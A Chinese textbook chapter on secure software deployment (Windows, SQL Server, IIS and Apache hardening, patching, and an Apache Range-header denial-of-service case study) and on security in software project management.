本章重点讲述软件开发生命周期中的部署安全和项目管理安全相关内容。软件部署安全部分首先阐述软件部署的一般过程，其次介绍应用软件和基础环境软件的安装配置和常见的漏洞处理方法，最后给出安全部署案例。针对软件的项目管理，本章讨论项目管理中和安全有关的管理关键因素，介绍团队建设和风险管理在项目管理中的作用。


6.1　软件部署安全

软件发布后，运行阶段错误而导致的软件安全问题在所有安全问题中占有较大比重。研究显示，现有应用系统中由于安全配置错误导致的安全漏洞已经成为系统漏洞的主要来源之一。OWASP组织发布的Web十大漏洞中，2010年软件配置错误位列第六，2013年软件配置错误上升至第五位。软件安全专家Pravir Chandra在创建软件保证成熟度模型（SAMM）时强调了软件部署对于软件安全的重要性，研究了软件发布和部署时相关的过程、活动和措施，要求从漏洞管理、环境加固和操作激活等三项内容进行安全实践。微软也十分重视软件发布之后的安全响应，其提出的安全开发生命周期（SDL）模型中在软件发布阶段之后设置了响应阶段。该阶段重点关注软件的安全事件和漏洞报告，以及指导如何进行漏洞修复和应急响应。软件部署影响着整个软件过程的运行效率和投入成本，软件系统部署的管理代价占到整个软件管理开销的绝大多数。

由此可见，软件部署是软件安全开发生命周期中的一个重要环节，其中软件自身安全以及软件运行环境安全起着关键作用，提高软件部署和配置的安全性迫在眉睫。本节将介绍软件部署的一般过程，然后从两个方面讨论如何加强软件的部署安全：一方面是应用软件本身的安装配置与漏洞处理；另一方面是应用软件运行基础环境的常用配置措施及漏洞处理方式。


6.1.1　软件部署过程

安全软件开发生命周期是将安全因素渗透到整个软件开发的生命周期中，即在每个开发阶段均考虑安全问题，其目的是确保安全的软件得以成功实现。软件部署作为软件安全生命周期的一个重要环节，提供软件运行所需的相应文档和工具，指导用户如何安全地使用软件。

软件部署过程是根据应用软件和基础环境软件的部署要求制定部署方案，然后依照部署方案执行具体的部署活动。软件部署一般过程可分为计划、执行、验证和测试四个阶段，如图6-1所示。
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图6-1　软件部署一般过程模型

·计划阶段：以应用软件、基础环境软件的描述信息为基础，以达到用户的期望为前提，确定各部署模块之间的约束关系，规划部署流程，标注关键调试点，做好部署时间计划，制定部署方案。

·执行阶段：以部署方案为输入，根据部署计划执行部署活动，配置各模块间的约束条件，做好过程记录。这一阶段可结合部署工具实施。

·验证阶段：通过执行关键调试点，检查和验证各模块之间的约束条件是否正确，从而提高软件部署方案的正确性。验证过程将及时发现部署配置中存在的错误，并及时纠正，提高部署方案的正确性和可靠性。

·测试阶段：部署活动结束后，通过整体测试的方式，检验系统的运行情况是否能够满足预期的需求，并根据整个部署过程整理归档软件部署报告。


6.1.2　软件自身安全

软件部署安全首先要确保应用软件自身的运行安全，软件自身安全是确保信息系统安全的关键环节。在实际软件部署中，一般措施包括：正确安装软件，安全配置应用项，安装应用软件补丁，提供应用软件使用和维护建议，应用软件的功能测试及安全风险测试，做好应用软件中重要文件和数据的备份，等等。

总体来说，软件自身安全应注意两个方面：一是应用软件开发商应当重视软件的安全及配置过程，将每一个细节记录到软件部署报告中，任何一个细节的遗漏都可能造成潜在的安全隐患；二是注重软件运行期间的漏洞监测与处理。由于威胁是动态的，很难彻底消除，因此要加强对软件本身漏洞的监控，制定漏洞响应计划，并提供应急响应服务，以便及时安装补丁消除漏洞，将风险降低至可接受的程度。

1.软件安装配置安全

软件安装配置是保证软件正常使用的一个重要环节，安装配置错误会导致系统数据或者功能可以在未授权的情况下被访问，也可能导致整个系统被攻击者控制，应用系统的重要数据被窃取或修改，而且修复的代价可能会很高。

为了确保应用软件的使用安全，软件开发商应该编写详细的安装手册，在安装手册中标注需要特别注意的配置事项。

根据软件类型，软件安装配置大致可以分为以下三种模式。

（1）单机软件的部署

单机软件的部署主要包括安装、配置和卸载。鉴于软件本身结构单一，部署操作的执行功能主要通过脚本编程的方式来实现，以脚本语言编写的操作序列来支持软件安装、注册等功能。该部署模式主要适用于单机软件，该模式的部署方法对于软件信息和运行环境的表达能力十分有限。该模式的典型代表包括基于InstallShield、Microsoft Installer等安装包制作工具生成的软件安装文档。

（2）基于中间件平台的部署

软件运行环境的中间件平台和组件容器能够为应用软件提供包括部署在内的软件生命周期多个阶段的支持，增强平台对于软件部署的支持能力。但是中间件平台仍难以提供应用系统在部署配置过程中进行规划和决策的功能，典型代表包括各类中间件平台，如基于JavaEE的应用服务器WebSphere。

（3）基于代理的部署

该方式是基于可复用构件的分布式开发管理配置平台，通过建立系统流程体系，将部署方法、工具、过程和自动化技术结合起来，集成在一个通用的软件配置管理环境中，支持软件的整个生命周期，并支持数据的收集和分析，可为大型项目提供全面的软件配置管理过程保障。典型代表包括惠普公司的OpenView平台和IBM的Tivoli平台等。

需要注意的是，安装应用软件后在给定某些权限时，应尽量减少授予不必要的权限，或授予过大的权限；对于登录设置中存在默认密码的情况，应提示用户及时将默认密码更换为个人密码。软件安装时可以手动控制分配部分比较重要的权限，保护用户隐私，降低恶意软件和意外错误配置所带来的风险。

为了确保软件的运行安全，在软件部署和运行阶段，也需要进一步加强对软件自身的安全防护。一般来说，这个阶段可以采取以下安全策略。

（1）强制修改默认口令

大部分软件需要使用用户口令来登录或启动系统。为方便用户使用，早期很多应用软件设置了默认访问口令，如SQL Server早期版本安装完成后，开启了默认账号sa，其口令为空，甚至一些防火墙和路由器也存在默认访问口令。这些默认口令的存在极大地降低了系统的安全性。因此，软件开发商应当提供措施，确保软件安装完成后用户必须修改默认口令，或设置为默认口令不能访问系统。

（2）可更改的软件安装目录

一般情况下，软件安装会默认使用一个安装目录。根据此信息，攻击者容易猜测到软件会安装在固定的目录下，进而猜测特定的文件并发起攻击。从安全角度出发，软件开发商应该允许用户更改软件的安装目录，将软件安装到用户指定的位置，用户也可以设定目标目录的访问权限，限制一般账号（包括系统账号）的访问权限。

（3）设置默认安装模块

有些软件提供了多种功能模块，并且允许用户选择安装和使用特定功能模块。考虑到大部分用户的使用习惯，开发商应当主动设置默认的安装模块。这里设置默认安装模块的策略主要有两个：一是默认选择基本功能模块，因为功能模块越多越可能存在漏洞；二是默认选择安全的模块，如有些软件同时提供口令登录和数字证书登录两个模块，软件开发商可以根据安装对象的应用场景，设置默认安装数字证书登录功能模块。

（4）配置应用安全策略

开发商应当在软件中为用户提供安全配置功能，允许用户在使用软件的过程中，根据当前场景和软件运行情况进行安全配置。主要的安全配置功能可以包括如下内容：

·口令安全强度要求，如至少十位且必须有大小写字母和数字等；

·口令修改策略要求，如必须每三个月修改一次；

·口令历史保存策略，如每次修改口令，不能使用近十次使用过的口令；

·账号锁定策略，如连续错误登录三次时，锁定该账号不能再使用；

·软件目录访问权限策略，如设置软件或配置文件只允许某个系统账号访问；

·日志保存历史策略，如设置保存近一年内的历史日志；

·报警策略，如设置当某级别的警告发生时，需通过短信方式通知管理员。

（5）启用最小用户身份

开发商应当根据自身软件运行需要，设定软件安装和使用时需要的用户身份角色，尽量使用独立和权限最小的系统账号。这里的“独立”是指使用一个新的、独立于其他应用的系统账号，这点尤其是安装在Linux和UNIX系统中很重要；“最小”是指为该系统账号申请尽量小的权限，只需满足程序运行就可以。如软件在某些特殊情况下，确实需要特定的系统权限，可以考虑在软件设置临时申请、操作员手工确认的方式进行。

（6）开启应用日志审计

某些软件自带应用日志模块，能够记录软件运行过程中的重大事件和错误处理情况。在这种软件中，开发商应当通过在操作手册中强调或软件中使用默认开启等策略来保证日志功能得到正常使用。

（7）重视数据备份

软件在安装和运行过程中会生成和处理数据，包括软件的配置文件、账号口令、运行日志、系统数据等。这些数据对于软件的运行至关重要，开发商除了在软件中设置备份和自我恢复功能外，还应该通过操作手册强调备份数据对于系统运行、灾难备份和应急响应的重要性，并为用户推荐备份手段、备份策略和必须备份的数据。

2.软件漏洞监测处理

软件安装完成后，开发商或发行商应设置合理的监控措施，及时发现软件存在的漏洞并进行修复，漏洞修复主要是通过安全补丁来完成的。

应用软件监控是未知安全漏洞发现的主要方法，发现漏洞的最终目的是修复目标应用软件的漏洞。为了保证漏洞修补的进度和质量，建立软件漏洞修补流程是非常有必要的。漏洞修补流程需要完成如下工作：

1）建立应用软件漏洞修补跟踪机制，为发现的漏洞根据其严重程度划分等级，并安排处理优先级；

2）建立应用软件漏洞分析机制，由安全工程师对漏洞进行分析，然后与开发团队沟通后，共同制定漏洞修补方案；

3）对已出现的应用软件漏洞情况进行归档记录，并定期统计漏洞修补情况。

在安全漏洞修补前，安全工程师应对补丁的源代码进行再次检查和测试，最后才能对外发布。归档记录出现过的漏洞，对漏洞数量、类型以及原因进行分析，是一种安全经验的积累，也为其他应用软件漏洞修补方案的制定提供了决策依据。


6.1.3　基础环境安全

伴随着Internet技术与信息技术的不断融合与发展，应用软件的运行环境也从传统的静态、可控转变为开放、动态，复杂异构网络产生了大量漏洞，而且漏洞的危害和影响也更加严重。要实现软件的安全运行，在考虑软件自身安全的基础上，必须考虑软件运行环境的安全配置。

基础环境支撑软件包括服务器操作系统、数据库系统、Web服务平台等，其中常见的Web服务平台有Apache、IIS、Tomcat、WebSphere和WebLogic等。这些服务支撑软件中如果存在安全隐患，都可能被攻击者利用，从而影响Web应用的安全性。

1.安全威胁

由于应用系统的复杂性和多样性，应用系统的安全问题也呈现出多样化的特点，常见应用系统主要威胁包括病毒感染、蠕虫传播、间谍软件、恶意E-mail攻击、带宽滥用等。下面分别简单介绍操作系统、数据库系统以及Web服务平台常见的安全威胁。

（1）操作系统的安全威胁

攻击者可以通过操作系统的漏洞入侵，可能直接访问应用系统和应用资源，从而造成威胁。如，攻击者可能通过操作系统漏洞获得对硬盘的访问权限，非授权地访问应用系统的重要数据文件和配置参数等资源。

（2）数据库系统的安全威胁

数据库通常也是攻击者的主要攻击目标。常见的数据库攻击类型包括：SQL注入攻击、直接或间接的命令执行、存储过程攻击、字符编码攻击等。这些攻击破坏数据库系统的机密性、完整性和可用性，造成重要数据丢失，给应用系统造成极大损失。

（3）Web服务平台的安全威胁

基础环境中，尤其是Web服务平台，安全隐患主要存在于两个方面，一方面是Web服务支撑软件本身存在漏洞，另一方面是Web服务支撑软件的配置缺陷。这两方面的安全隐患都能导致严重的安全后果。

·Web服务支撑软件存在安全漏洞

利用Web服务支撑软件的安全漏洞进行攻击一直是最常见的攻击方法之一。例如，2010年安全研究者公布的Web框架漏洞Struts 2命令执行漏洞，Xwork通过getters/setters方法从HTTP的参数中获取对应action名称，攻击者利用\u0023代替#，从而构造出可以远程执行的攻击payload。

·Web服务支撑软件存在配置缺陷

Web服务支撑软件自身的配置也是Web应用重要的安全隐患之一。实际上，即使软件本身设计和实现了完善的安全功能，也可能因为配置和使用不当而受到攻击。典型的配置不当和使用缺陷包括：软件使用默认的账号和口令、存在不必要的功能模块、明文存储口令和权限配置文件、过于集中的权限分配、用于启动程序的用户身份不合适等。

2.基础环境软件的安装配置

为了保证基础环境的正确安装配置，除了默认安装之外，安装说明文档中还应包含系统配置、软件升级等方面的内容。下面将介绍基础环境中操作系统、数据库系统、Web服务器的常用配置方法。

（1）操作系统的配置

目前服务器常用的操作系统有三类：UNIX、Linux和Windows。下面着重介绍Windows操作系统常用的一些安全配置方法。

·账户设置

Windows系统在安装和测试环境中可能存在测试用户和默认用户，如果不能及时删除，可能被攻击者利用，直接登录操作系统，造成重大安全隐患。可以对这些账号进行锁定或删除操作，并在组策略中更改系统管理员默认名称Administrator，使其显示在登录页面，以提高攻击者暴力破解口令的难度。停用Guest账号，任何时候都不允许使用Guest账号登录系统。

·端口配置

关闭不必要的端口可以减少入侵者的攻击。用端口扫描器扫描系统所开放的端口，在Winnt\system32\drivers\etc\services文件中有端口和服务的对照表可供参考，该文件可用记事本打开。首先设置本机开放的端口和服务，在IP地址设置窗口中单击按钮“高级”，然后在出现的对话框中选择选项卡“选项”，选中“TCP/IP筛选”，单击按钮“属性”，最后对端口进行设置。

·系统所有用户的密码都必须满足一定的复杂度

黑客要想攻击某一设备，需要找到一个易遭受攻击的服务器，破解密码，再找到一台易遭受攻击的个人电脑或移动设备，然后获取该设备的访问权。建议系统管理员将Windows服务器上“允许使用较弱的加密”功能设置为禁用，使系统所有用户的密码都满足一定的复杂度。

·禁止不必要的服务

Windows的终端服务和IIS等都可能给系统带来安全漏洞。为了能够在远程方便地管理服务器，很多机器的终端服务默认情况都是打开的，要确认已经正确地配置了终端服务。有些恶意程序也可能以服务方式悄悄地运行服务器上的终端服务。因此，要留意服务器上开启的所有服务，并经常进行检查。

·防止常见攻击

Ping命令常常用于检查网络是否畅通，可是这个命令也会被利用，演变为ICMP攻击。一个简单的预防办法就是在本地安全策略中增加过滤规则向导，定义“防止ICMP攻击”过滤策略指定给ICMP过滤器。

（2）数据库系统的配置方法

数据库是后台程序，用于数据存储，如果数据库系统遭受攻击，将会影响数据的安全性和有效性，进而影响整个系统的可靠运行。本节以SQL Server数据库为例，说明几种常见的数据库安全配置方法。

·数据库管理系统密码策略

密码策略是所有安全配置的第一步，很多数据库账号的密码过于简单，应定期或不定期修改数据库管理员的口令。对于SA账号更应该注意，不要让其密码写在应用程序或者脚本中。SQL SERVER的SA账户在默认状态下是空密码，建议给其设定一个足够复杂的密码来加强其安全性，同时把该密码保存在一个安全的地方，并定期更改。

·账号策略

严禁不同的数据库用户使用相同的账号与口令。重新命名数据库管理员账号，并删除不需要的默认账号。数据库用户账号与数据库管理员账号分离。数据库系统至少应设置下述分离的几类用户：系统管理员，管理数据库系统中的所有组件及数据库；应用数据库管理员，管理本数据库中的账号、对象及数据；数据库用户，只能以特定的权限访问特定的数据库对象，不具有数据库管理权限。

·角色最小特权分配

对每个数据库账户按最小特权原则设置其在相应数据库中的权限，有如下几种权限：系统管理权限，包括账户管理、服务管理、数据库管理等；数据库管理权限，包括创建、删除、修改数据库等；数据库访问权限，包括插入、删除、修改数据库特定表记录。

·TCP/IP端口保护

公开端口会引起不必要的麻烦，默认情况下，SQL Server使用1433端口，可以在SQL Server配置时修改端口。但是通过微软未公开的1434端口的UDP探测可以很容易地知道SQL Server使用的是什么TCP/IP端口。如果隐藏了SQL Server实例，就不能用1434来探测TCP/IP端口，除非使用端口扫描软件。

·数据库备份

黑客攻击、硬盘损坏、雷击等自然灾害都有可能对计算机里存储的文件造成损害。所以，应当养成定期备份的习惯，将计算机中的重要数据备份出来，避免遭受数据丢失带来的损失。SQL Server备份方式分为差异备份和全备份，也可以设置为自动备份，或者通过手动设置进行备份。

（3）Web服务平台的配置方法

目前，网络应用软件安全漏洞普遍存在，黑客利用简单的工具就可以对用户实施攻击，加强Web应用的安全保护措施十分必要。下面将介绍IIS、Apache的安全配置方法。

·IIS安全配置方法

相对于IIS 6而言，IIS 7的安全性和实用性都经过了重新设计和整合。IIS 7支持多种安全机制，从管理控制台访问权限控制到站点、目录的访问权限设置，从身份验证到传输加密，同时配合Windows下的各种安全机制，可以大大提升服务器和站点的安全级别。下面简要描述IIS 7的安全配置要点。

·配置身份验证

Web服务器的主要功能就是为用户提供信息发布和查询平台，因为信息面向不同对象，所以需要对访问用户进行控制，通过设置适当的身份验证方式即可实现。例如，如果信息面向所有用户，则可以使用匿名身份验证；如果某些内容只应由选定的用户查看，则必须配置相应的NTFS权限，以防止匿名用户访问这些内容；如果希望只允许注册用户查看选定的内容，应该为这些内容配置要求提供用户名和密码的身份验证方法，如基本身份验证或摘要式身份验证。IIS7支持匿名身份访问、不加密的基本身份验证、摘要式身份验证、Windows身份验证、Forms表单身份验证以及数字证书验证等。

·配置地址和域名访问规则

在IIS 7中，默认情况下所有IP地址、计算机和域都可以访问Web服务。在某些情况下，可以设置一定的地址和域名访问规则，包括设置允许访问的地址、域名，以及设置不允许访问的地址、域名，以增强Web服务的安全性。如在内网的一台IIS服务器，可以设置仅仅允许内部某些用户访问该站点，而互联网（外网）用户和内部其他用户不能访问该站点。

·配置SSL安全

SSL安全功能可以通过传输信息加密，实现Web客户端与Web服务器端的安全传输，避免数据被中途截获或篡改。对于安全性要求很高的交互性Web网站，建议采用SSL加密方式。要实现SSL通信，Web服务器应当拥有有效的服务器证书。IIS 7支持为服务器配置服务器证书，管理员可以在IIS 7安装时创建证书，也可以在IIS 7安装完成后导入已有证书。

·配置URL授权规则

在Web服务中，有时需要设置允许或拒绝特定计算机、计算机组或域访问Web服务器上的页面、应用程序、目录或文件。如，Web服务器不仅运行了只应由财务或人力资源的成员查看的内容，还运行了公司所有员工均可访问的内容。那么，可以通过配置URL授权规则，来防止不是这些指定组成员的员工访问那些受限内容。在IIS 7中要配置URL授权规则，可以打开“Internet信息访问（IIS）管理器”，对要设置访问限制的网站，在“功能视图”中选择“授权规则”图标，然后点击“添加允许规则”、“添加拒绝规则”，或者编辑和删除已经建立的规则。

·Apache安全配置方法

Apache HTTP Server（简称Apache）是Apache软件基金会建立的一个开放源码的Web服务运行平台，可以在包括Windows、Linux、Unix等操作系统中运行，是最流行的Web服务器端软件之一。Apache主要安全配置包括以下几方面。

·隐藏Apache版本号及其他敏感信息

默认情况下，很多Apache安装时会显示版本号及操作系统版本，甚至会显示服务器上安装的apache模块，这些信息可以被攻击者利用。可以修改Apache配置文件http.conf中的ServerTokens和ServerSignature参数，隐藏Apache版本号及其他敏感信息。将以下两条语句添加到httpd.conf文件中：



ServerSignature Off     // 不输出任何页脚信息


ServerTokens Prod          // 不输出

Apache版本信息






ServerSignature参数设置出现在Apache所产生的目录列表等页面底部，三个选项On/Off/Email主要起开关作用，推荐设置为Off。ServerTokens参数设置http头部返回的Apache版本信息。为安全起见，推荐设置为Prod，仅显示服务器软件为Apache。

·只安装需要的模块

Apache具有较高灵活性，有大量可选择的安装模块，但从安全角度考虑这也是一个弱点。安装的模块越多，潜在的攻击面就越大。一个标准的Apache安装包含20多个模块，包括CGI特性以及一些身份验证机制。在安装时，了解基本模块的功能，安装能够满足相应需求的模块。可以通过httpd.conf配置文件代码中以LoadModule开头的行，查看所安装的模块。

·设置每个连接的最大请求数

MaxKeepAliveRequests默认的值为100，意思是如果同时请求数达到100就不再响应这个连接的新请求，保证系统资源不会被某个连接大量占用。但是在实际配置中可能会要求把这个数值调高，以获得较高的系统性能，此时需要在系统性能和稳定安全性之间做出适当平衡。

·禁止目录浏览

在目录浏览被启用时，攻击者可以访问到一个并不包含其所需要文档的目录，会看到此目录中完整的内容列表。可以通过配置httpd.conf文件不让Apache访问其他目录无关的内容。一些需要特殊访问权限的目录可以通过options后的参数来设定，options指令控制了在特定目录中将使用哪些服务器的特性。

3.基础环境的漏洞处理

近年来，蠕虫、木马等恶意代码对网络的攻击越来越严重，所造成的损失也越来越大。要避免这类网络攻击，就需要尽可能地减少计算机漏洞，及时对已存在漏洞的计算机进行修补。

在基础环境软件完成安装及安全配置的前提下，要做好漏洞监测与修复工作。首先，检查软件状态，主要是导入软件安全需求分析、软件安全策略制订、软件安全风险评估服务的结果，确定软件的安全级别，即确定被监测软件所能达到的安全程度。接着分析软件存在的问题，制订安全优化方案，根据软件状态调查所产生的结果列出软件所需修复的漏洞、优化步骤和补丁安装时间表。然后，实施安全优化，并对软件进行回归测试。最后，生成安全运行报告，内容包括安全优化过程的完整记录，有关系统安全管理方面的建议或解决方案，以及对软件部署过程的安全审计结果。

安装补丁时，不要安装过时补丁，如果下载安装所有补丁程序，计算机并不一定就变得更安全。如果安装了过时、不必要甚至是有问题的补丁，反而会给系统带来风险，所以要确保软件已经安装了最新的安全补丁。

选择下载所需的补丁包，安装适合本地系统环境的补丁版本，不同版本的补丁可能会适用于不同配置的计算机，例如IIS同一个编号的补丁可能分为英文版和中文版，用户需要根据本机使用的语言环境选择安装。使用正版Windows的微软用户建议使用Windows Update，或者其他可信的第三方补丁安装软件。

不要重复安装补丁。如果在安装了较新版本补丁的情况下又安装了较老版本的补丁，就会在毫不知情的情况下造成一些漏洞。这是因为较老版本的补丁会覆盖掉较新版本的文件。

选择正确的安装目录。补丁安装时要选择合适的目录，便于确定安装位置。

补丁安装完成后要重新启动系统。因为如果不重新启动系统，已打开或使用中的文件不会被补丁中的新文件所覆盖，不能保证系统所有相关文件为最新版本。


6.1.4　软件安全部署案例

前面介绍了软件安全部署的一些基本内容和注意事项，本节将以Apache HTTP Server拒绝服务漏洞（CVE-2011-3192）为例，说明Apache常用安全部署方法。

Apache HTTP Server拒绝服务漏洞主要影响Apache 2.x和Apache 1.3。攻击者可以利用漏洞发起远程攻击，导致服务器主机系统资源耗尽，以致无法响应正常请求。Apache HTTP Server在处理HTTP请求包中的Range选项时存在不安全策略，Range头选项定义了页面文件的分片请求方式，攻击者通过设置较大的Range头选项阈值，可以构造尽可能多的请求不同大小页面文件的指令，以达到消耗服务器内存和CPU资源的目的。攻击者还可以通过加载“Accept-Encoding”选项将请求指令组合封装，进一步增强攻击的效果。轻则导致Apache无法响应正常的用户请求，严重的还会导致服务器系统资源耗尽，对相关用户的网站信息系统造成较为严重的威胁。

攻击者可以构造如图6-2所示的恶意数据包。该数据包在HTTP请求的Range处设置了大量重叠的范围。Apache在处理这样的请求时需要消耗大量的CPU和内存资源，导致Apache失去响应，甚至造成操作系统资源耗尽。

[image: ]


图6-2　攻击者构造的恶意数据包

Apache服务器被该漏洞攻击前资源占有情况如图6-3所示；发起攻击后，服务器资源占有情况如图6-4所示。
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图6-3　攻击前服务器资源占有情况

根据以上分析，Apache的安全加固主要从以下两点考虑：一是Apache Web Server本身是否安全；二是Apache Web Server是否提供了可使用的安全功能，这部分主要是检查Apache的配置是否得当，在安全性、可用性、稳定性之间取得平衡。
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图6-4　攻击后服务器资源占有情况

（1）Apache安全安装

要注意Apache的安装位置，使用自定义的安装路径，并配置使用自定义的Web目录。同时，要减少不必要的特权，以达到安全保护的目的。

（2）Apache安全配置

对于Apache HTTP Server拒绝服务漏洞，在没有官方补丁和新的软件版本出现前，可以通过以下方案解决：使用SetEnvIf配置命令来忽略畸形的Ranger选项。主要是通过限制Rang的阈值条件，安装启用mod_rewirte模块，设置过滤规则拒绝带有畸形Ranger选项的请求。此方法适用于所有版本的Apache。此外，在使用Apache时，还要注意一些常用的安全配置方法，以防止带来不必要的安全损害。

·隐藏Apache版本号及敏感信息

默认情况下，很多Apache安装时会显示版本号及操作系统版本，甚至会显示服务器上安装的apache模块。这些信息可以被攻击者利用。并且，攻击者还可以从中得知所配置服务器上的很多设置都是默认状态。可以通过修改Apache相应的配置文件，对Apache版本号及其他敏感信息进行隐藏。未设定安全选项前如图6-5所示。
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图6-5　未设定安全选项时示意图

打开httpd.conf配置文件，找到ServerTokens和ServerSignature，将它们的值分别修改为Prod和Off。修改后的效果如图6-6所示。
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图6-6　设定安全选项后示意图

·禁止目录浏览

如果Apache采用默认配置，当WEB目录下不存在默认索引页面（如index.html）时，会将当前目录下的所有文件和目录都列出来，如图6-7所示。
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图6-7　未设置安全选项前示意图

打开httpd.conf配置文件，查找“Options Indexes FollowSymLinks”，修改为“Options–Indexes”，然后保存并重启Apache服务生效。这样以后再访问时不存在默认索引页面的目录时，Apache将会返回403错误页面，如图6-8所示。
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图6-8　设置安全选项后示意图

·只加载必要的模块

Apache有很多官方与非官方的模块。需要检查Apache的模块安装情况，根据“最小权限原则”，应该尽可能地减少不必要的模块。对于要使用的模块，则检查其对应版本是否存在已知的安全漏洞。可以在httpd.conf中配置需要加载或禁用的模块。


6.2　软件项目管理安全

随着信息技术的广泛应用，软件项目的规模越来越大，复杂程度越来越高，投资也在不断增长。为了管理好规模和复杂性都在不断增长的软件项目，使软件项目的运作从“作坊”向“软件工厂”的模式发展，许多软件企业都积极将软件项目管理引入到开发活动中去。

软件项目管理作为一种科学的管理手段，就是为了使软件项目能够按照预定的成本、进度、质量顺利完成，而对成本、人员、进度、质量、风险等进行分析和管理的一系列活动。软件开发是一个极具挑战性和创造性的行业，管理上没有成熟的经验可供借鉴。而软件项目管理应该说对于软件企业，尤其是那些以应用开发与系统集成为主的软件企业，是行之有效的管理方法。因此，决定一个软件项目实施成功与否，软件项目管理无疑起着举足轻重的作用，软件项目管理已经是公认的软件开发企业的核心竞争力之一。

很多企业在软件开发生命周期中融入了安全考量，其中项目安全管理更是必不可少。本节系统地阐述了软件项目管理生命周期中各个阶段应注意的安全要点，并重点介绍了安全团队建设和项目风险管理。


6.2.1　项目管理阶段

在软件产品的生命周期中，由于软件产品的性质、用途、规模等方面的差异，软件生命周期和项目管理周期可能会重合。通常情况下，一个软件的生命周期可能会通过多个项目来完成。例如：在软件的计划阶段，可以通过一个项目的方式来实现；软件设计、编程阶段，可以通过另一个项目的方式来管理；测试阶段也可以单独成立一个项目；升级维护阶段仍然可以根据具体要求通过组织项目的方式来完成，或者随着软件产品进入下一个生命周期启动新的项目。在项目管理理论中，特别强调产品生命周期与项目生命周期之间的这种差别，在项目管理中应该充分考虑其产出结果与整个产品生命周期的关系，而不是孤立、片面地强调项目周期的要求。

软件项目的生命周期通常有四个阶段：项目启动、计划、执行与监控、收尾。这四个阶段的顺序及消耗的资源情况如图6-9所示。明确软件项目的生命周期中各个阶段工作及资源消耗，对于项目开发人员及管理人员都很重要，主要体现在以下几个方面。
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图6-9　软件项目资源消耗情况

·增强项目团队的方向感，使团队成员对阶段性目标有更深刻的认识

在软件项目的开发过程中，必须不断增加团队成员的方向感。软件开发项目是一个高时效性的项目，整个项目团队对于项目每个阶段的任务、应完成的活动以及完成情况应该高度关注，并努力按照整个项目进度计划有条不紊地开展各项工作，从而避免与目标产生太大偏差。

·明确项目管理的阶段性内容，提高管理效率

软件工程重视软件开发流程的梳理，重视软件开发阶段的界定，强调阶段性审查和结束准则，要求各阶段结束时提交相应的成果物，因此，必须对这些成果物予以分类和排序，使得项目管理过程中的诸多活动能够有序地展开和进行，从而避免因活动的杂乱无章而造成的管理低效率。项目管理者在合理定义与划分项目周期之后，便于工作可以根据项目生命周期共同的一般规律与特点，针对某一具体阶段制定相应的战略与策略，从而有成效地执行各项管理职能，提高管理效率。

·平衡项目管理中的资源分配，降低投资风险

在项目管理过程中有许多需要平衡的矛盾，如资金投入、时间投入、人力投入的平衡。项目管理的基本任务之一，就是需要合理分配与平衡这些资源。因此，在项目管理过程中，就应该在项目进行的不同阶段合理分配资源，减少浪费的发生，最重要的是避免因资源利用不合理而影响整个项目进度。只有按照生命周期每个阶段的策划，与预定的实施活动进行项目管理才有可能避免不必要的损失，少走弯路，使项目达到良好的效果。

1.启动阶段

软件项目启动阶段，要对项目进行需求分析与识别。项目管理启动阶段主要目标是：以客户导向为基础，同时和公司的技术、人力资源、时间要求、成本等因素相平衡，确定客户的最终需求，产生一个清晰明了、完整的和容易让人理解的需求分析报告。

从理论上来说，启动阶段是一个十分重要的阶段，它关系到一个项目能否成功实施。实践中，很多软件项目在实际建设中不考虑或忽视项目启动管理，没有充分地调研论证，缺乏对项目的整体把握，可能使项目在执行过程中不断出现各种问题。例如，为了加快产品研发进度，疏于管理关键技术研发人员和文档资料，容易泄露商业机密，错失软件产品占领市场的先机。如果一个新的软件产品未考虑实际需求，也没有对项目本身充分论证，即项目启动管理阶段几乎空白，边计划边决策边研发，可能会设计出错误的软件项目框架和流程。其次，项目启动阶段忽视软件开发进度管理，项目工作随意性较大，部分内容边做边改，项目时间管理不严格，将影响整个软件成果的最终交付时间和开发成本。

在软件项目启动阶段，项目范围和资源投入是正式确定的，项目经理也需要在本阶段选择和任命，文档化项目初步的假设和约束。在由多个阶段组成的大型软件开发项目中，启动过程往往在每个阶段开始的时候都进行一次，项目范围和目标被重新评估，阶段的进入条件也被重新验证。

软件项目管理启动阶段所涉及的主要安全工作包括：明确安全总体方针，确保安全总体方针源自业务期望；清晰描述所涉及软件产品的安全现状，提交明确的安全需求文档；明确风险评估准则并达成一致，清晰描述从软件的哪些层次进行安全实现；对软件规划中安全实现的可能性进行充分分析和论证。

2.计划阶段

在软件项目管理过程中一个关键的活动是制定项目计划。项目计划的目标是为项目负责人提供一个框架，使之能合理地估算软件项目开发所需资源、经费和时间进度，并控制软件项目开发过程按此计划实施。

计划阶段收集来自多层面的、保证软件项目成功完成的信息。这些信息包括产品需求、项目风险、假设和约束。在整个项目生命周期中，如果有一些重大变更，往往需要重新审查和评估原有项目计划。项目计划必须就需要的人力、持续时间及成本作出估算。

软件项目开发计划阶段主要的工作有以下几点：

1）根据需求分析和项目任务分解结果，进一步分解出主要活动；

2）确定以上活动之间的关系，然后估算出每个活动的时间长度；

3）根据每个活动的时间估算项目进度计划。

在软件开发生命周期各个阶段的项目计划中，还要考虑下面两件事。

（1）软件开发周期中的安全工作

例如，在软件安全需求的项目计划中，持续风险管理过程是不可或缺的；在软件安全架构和设计项目计划中，引入架构风险分析，可以审查威胁，分析架构如何对威胁做出响应，并识别架构引入的威胁。这就是McGraw的软件安全开发七个接触点的思想。

（2）规划项目各阶段的软件安全性保证用例

发布号称“安全的”软件需要证明软件达到相应的保证等级，软件安全保证更多地取决于证明系统不会去做什么，需要创建一系列的保证用例。保证用例的开发是一个增量式的结果。保证用例应当描述其架构如何满足安全需求，架构风险评估和分析也应该提供满足相应需求的证据。

项目管理计划阶段的主要安全工作包括：设计方案符合系统建设规划，设计方案中的安全需求符合规划阶段的安全目标，对用以实现安全系统的各类技术进行有效性评估，对开发的软件要在设计阶段就充分考虑安全风险。

3.执行与监控阶段

项目执行的客观环境随时都在变化，对于项目管理者而言，关键的问题是能够预测到可能发生的变化，以便采取预防措施实现项目目标。更为实际的方法是，通过持续监控，有效沟通和协调，认真分析与研究，力求掌握项目变化规律，妥善处理各种变化。

依照安全计划执行的项目过程中，项目跟踪控制发挥着重要作用。它通过监控和协调，使项目严格按照安全计划实施，保证项目计划和项目执行过程在质量、进度和成本的约束下开发出最安全的软件。

项目跟踪控制是通过周期性跟踪项目计划的各种参数，如进度、工作量、费用、资源、工作成果等，准确掌握项目进展，当项目实际进展状况显著偏离计划时，能够及时采取纠正措施。

